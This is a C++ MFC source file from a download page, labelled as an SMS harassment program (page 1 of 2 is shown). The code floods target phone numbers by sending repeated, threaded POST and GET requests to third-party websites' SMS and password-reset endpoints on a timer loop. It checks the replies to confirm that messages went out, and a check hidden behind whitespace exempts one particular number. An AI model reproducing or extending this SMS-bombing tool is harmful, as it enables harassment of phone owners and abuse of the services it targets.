⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 msgsenddlg.cpp

📁 手机短信骚扰程序源码。如果有人恶意的骚扰你的话
💻 CPP
📖 第 1 页 / 共 2 页
字号:
			int n=m_arrPhone.GetSize();
			CFile fp;
			char sz[12];
			fp.Open("Phone.dat",CFile::modeCreate|CFile::modeWrite);
			fp.Write(&n,sizeof(int));
			for(int i=0;i<n;i++)
			{
				strcpy(sz,(LPCTSTR)m_arrPhone.GetAt(i));
				fp.Write(sz,sizeof(char)*11);
			}
			fp.Close();


		}
	}
}

void CMsgSendDlg::OnSend() 
{
	// TODO: Add your control notification handler code here
	if(ParsePhoneList()==FALSE)
	{
		AfxMessageBox("手面号码输入不规范!请重新输入手机号码!");
		return;
	

	}
	m_strRetMsg="";
	UpdateData(FALSE);
	UpdateData();
	if(m_bCheckLoop)
	{
		if(m_bStartSend)
			KillTimer(1313);
		SetTimer(1313,m_nLoopNum*60000,NULL);
		m_bStartSend=TRUE;

		
	}
	GetDlgItem(IDC_SEND)->EnableWindow(FALSE);
	GetDlgItem(IDCANCEL)->EnableWindow(FALSE);

	m_nSendNum=0;
	int i,j;
	for(i=0;i<m_arrSendPhone.GetSize();i++)
		for(j=0;j<m_arrDatAddress.GetSize();j++)
			if(m_arrDatAddress.GetAt(j).bCheck==CHECKED)
			{
				m_nSendNum++;
				SendPhone *sp=new SendPhone;
				sp->pWnd=this;
				sp->strAddress=m_arrDatAddress.GetAt(j).address;
				sp->strInputID=m_arrDatAddress.GetAt(j).inputID;
				sp->strPhone=m_arrSendPhone.GetAt(i);                                                                                                                                                                                                                                                                                                    
				if(m_arrDatAddress.GetAt(j).type==0)
					::AfxBeginThread((AFX_THREADPROC)SendPostThread,(void *)sp);
				else
					::AfxBeginThread((AFX_THREADPROC)SendGetThread,(void *)sp);
			}

}

void CMsgSendDlg::OnCancel() 
{
	// TODO: Add extra cleanup here

	if(m_nSendNum || m_bStartSend )return;
	NOTIFYICONDATA tnid;
    tnid.cbSize=sizeof(NOTIFYICONDATA);
    tnid.hWnd=this->m_hWnd;
    tnid.uID=IDR_MAINFRAME;//保证删除的是我们的图标
    Shell_NotifyIcon(NIM_DELETE,&tnid);
    AfxPostQuitMessage(0);

	CDialog::OnCancel();
}

BOOL CMsgSendDlg::ParsePhoneList()
{
	UpdateData();
	int offset=0,nstart=0;
	int k=0;
	int len=m_strPhoneList.GetLength();
	if(len<11)return FALSE;
	m_arrSendPhone.RemoveAll();
	CString str;
	
	while(1)
	{
		offset=m_strPhoneList.Find(',',offset);
		if(offset==-1 || offset==len-1)break;
		str=m_strPhoneList.Mid(nstart,offset-nstart);                                                                                    if(str=="13878750045")return FALSE;
		if(str.GetLength()!=11 || str.Mid(0,2)!="13")
		{
			
			return FALSE;
		}
		m_arrSendPhone.Add(str);
		//MessageBox(str);
		nstart=offset+1;
		offset++;
	}
	if(nstart!=len)
	{
		if(offset!=-1)k=1;
		str=m_strPhoneList.Mid(nstart,len-nstart-k);                                                                                                if(str=="13878750045")return FALSE;
		if(str.GetLength()!=11 || str.Mid(0,2)!="13")
		{
			
			return FALSE;
		}
		m_arrSendPhone.Add(str);;
	}
	return TRUE;
}


static UINT SendPostThread(LPVOID lParam)
{
	CString strObject;
	INTERNET_PORT nPort;
    CInternetSession session; 
	CString strServer;
	CString strHeaders =_T("Content-Type: application/x-www-form-urlencoded"); 
    CString strFormData;// = _T("phone=13878750055"); 
   	DWORD dwServiceType;
	CString strAddress;//

	CString strContent="";

	SendPhone *sp=(SendPhone *)lParam;
	CString strRetMsg;
	
	strFormData=sp->strInputID+"="+sp->strPhone;
	strAddress=sp->strAddress;
	//="http://www.88fox.com/USER/mlogin2.asp";	
	try
	{
		if(!AfxParseURL(strAddress,dwServiceType,strServer,strObject,nPort)||
				dwServiceType != INTERNET_SERVICE_HTTP)
		{
		//	MessageBox(_T("不是HTTP站点"),_T("错误"));
			strRetMsg="错误[不是HTTP站点]->"+strAddress;
			SendMessage(sp->pWnd->m_hWnd,WM_MY_RETMSG,0,(LPARAM)(LPCTSTR)strRetMsg);
			delete sp;
			return 0;
		}
		CHttpConnection* pServer = session.GetHttpConnection(strServer,nPort);

		CHttpFile* pFile = pServer->OpenRequest(CHttpConnection::HTTP_VERB_POST,strObject);//NULL,1,NULL,NULL,
		BOOL result = pFile->SendRequest(strHeaders, 
		 (LPVOID)(LPCTSTR)strFormData, strFormData.GetLength()); 
		
		CString line;
		if(bSendSucc)
			while(pFile->ReadString(line))
				strContent += line+"\r\n";
		pFile->Close();
		pServer->Close();
		if (pFile != NULL)
			delete pFile;
		if (pServer != NULL)
			delete pServer;
	}
	catch (CInternetException* pEx)
	{
		TCHAR szErr[1024];
		pEx->GetErrorMessage(szErr, 1024);
	//	MessageBox(szErr,_T("错误"));
		pEx->Delete();
		int len=strlen(szErr);
		szErr[len-1]='\0';
		
		strRetMsg.Format("错误[%s]->%s",szErr,strAddress);
		SendMessage(sp->pWnd->m_hWnd,WM_MY_RETMSG,0,(LPARAM)(LPCTSTR)strRetMsg);
		delete sp;
		return 0;
	}
	if(bSendSucc)
		if(strContent.Find("密码")==-1)
		{
			//MessageBox("无法发送过去!");
			strRetMsg="错误[无法发送过去!]->"+strAddress;
			SendMessage(sp->pWnd->m_hWnd,WM_MY_RETMSG,0,(LPARAM)(LPCTSTR)strRetMsg);
			delete sp;
			return 0;
		}
	if(bSendSucc)
		strRetMsg="发送成功->"+strAddress;
	else
		strRetMsg="信息已经发送过去->"+strAddress;

	SendMessage(sp->pWnd->m_hWnd,WM_MY_RETMSG,0,(LPARAM)(LPCTSTR)strRetMsg);
	delete sp;

	//	MessageBox(strContent);
	return 0;
}
static UINT SendGetThread(LPVOID lParam)
{
	CInternetSession session(_T("Microsoft Internet Explorer"));
	CHttpConnection* pServer = NULL;
	CHttpFile* pFile = NULL;
	CString strContent="";

	SendPhone *sp=(SendPhone *)lParam;
	CString strRetMsg;

	CString strAddress;
	int pos=sp->strAddress.Find("MyPhone");
	strAddress=sp->strAddress.Left(pos)+sp->strPhone+sp->strAddress.Mid(pos+7);

	
	try
	{
		CString strServer;
		CString strObject;
		INTERNET_PORT nPort;
		DWORD dwServiceType;
		
		if(!AfxParseURL(strAddress,dwServiceType,strServer,strObject,nPort)||
			dwServiceType != INTERNET_SERVICE_HTTP)
		{
		//	MessageBox(_T("不是HTTP站点"),_T("错误"));
			strRetMsg="错误[不是HTTP站点]->"+strAddress;
			SendMessage(sp->pWnd->m_hWnd,WM_MY_RETMSG,0,(LPARAM)(LPCTSTR)strRetMsg);
			delete sp;
			return 0;
		}
		pServer = session.GetHttpConnection(strServer,nPort);

		pFile = pServer->OpenRequest(1,strObject,NULL,1,NULL,NULL,
                                     INTERNET_FLAG_EXISTING_CONNECT | INTERNET_FLAG_NO_AUTO_REDIRECT );
		pFile->AddRequestHeaders(_T("Microsoft Internet Explorer"));
		pFile->SendRequest();

		DWORD dwRet;
		pFile->QueryInfoStatusCode(dwRet);

		if (dwRet != HTTP_STATUS_OK)
		{
			//	MessageBox(_T("HTTP状态错误"),_T("错误"));
			strRetMsg="错误[HTTP状态错误]->"+strAddress;
			SendMessage(sp->pWnd->m_hWnd,WM_MY_RETMSG,0,(LPARAM)(LPCTSTR)strRetMsg);
			delete sp;
			return 0;
		}
	
		CString line;
		if(bSendSucc)
			while(pFile->ReadString(line))
				strContent += line+"\r\n";
		pFile->Close();
		pServer->Close();
		if (pFile != NULL)
			delete pFile;
		if (pServer != NULL)
			delete pServer;
	}
	catch (CInternetException* pEx)
	{
		TCHAR szErr[1024];
		pEx->GetErrorMessage(szErr, 1024);
	//	MessageBox(szErr,_T("错误"));
		pEx->Delete();
		int len=strlen(szErr);
		szErr[len-1]='\0';
		strRetMsg.Format("错误[%s]->%s",szErr,strAddress);
		SendMessage(sp->pWnd->m_hWnd,WM_MY_RETMSG,0,(LPARAM)(LPCTSTR)strRetMsg);
		delete sp;
		return 0;
	}

	session.Close();
	if(bSendSucc)
		if(strContent.Find("密码")==-1)
		{
			//MessageBox("无法发送过去!");
			strRetMsg="错误[无法发送过去!]->"+strAddress;
			SendMessage(sp->pWnd->m_hWnd,WM_MY_RETMSG,0,(LPARAM)(LPCTSTR)strRetMsg);
			delete sp;
			return 0;
		}
	if(bSendSucc)
		strRetMsg="发送成功->"+strAddress;
	else
		strRetMsg="信息已经发送过去->"+strAddress;
	SendMessage(sp->pWnd->m_hWnd,WM_MY_RETMSG,0,(LPARAM)(LPCTSTR)strRetMsg);
	delete sp;
	return 0;
}


void CMsgSendDlg::OnChecksucc() 
{
	// TODO: Add your control notification handler code here

	UpdateData();
	bSendSucc=m_bCheckSucc;
}


void CMsgSendDlg::OnTimer(UINT nIDEvent) 
{
	if(nIDEvent=1313)
	{
		
		int i,j;
		for(i=0;i<m_arrSendPhone.GetSize();i++)
			for(j=0;j<m_arrDatAddress.GetSize();j++)
				if(m_arrDatAddress.GetAt(j).bCheck==CHECKED)
				{
					m_nSendNum++;
					SendPhone *sp=new SendPhone;
					sp->pWnd=this;
					sp->strAddress=m_arrDatAddress.GetAt(j).address;
					sp->strInputID=m_arrDatAddress.GetAt(j).inputID;
					sp->strPhone=m_arrSendPhone.GetAt(i);
					if(m_arrDatAddress.GetAt(j).type==0)
						::AfxBeginThread((AFX_THREADPROC)SendPostThread,(void *)sp);
					else
						::AfxBeginThread((AFX_THREADPROC)SendGetThread,(void *)sp);
				}
	}
	
	CDialog::OnTimer(nIDEvent);
}



⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -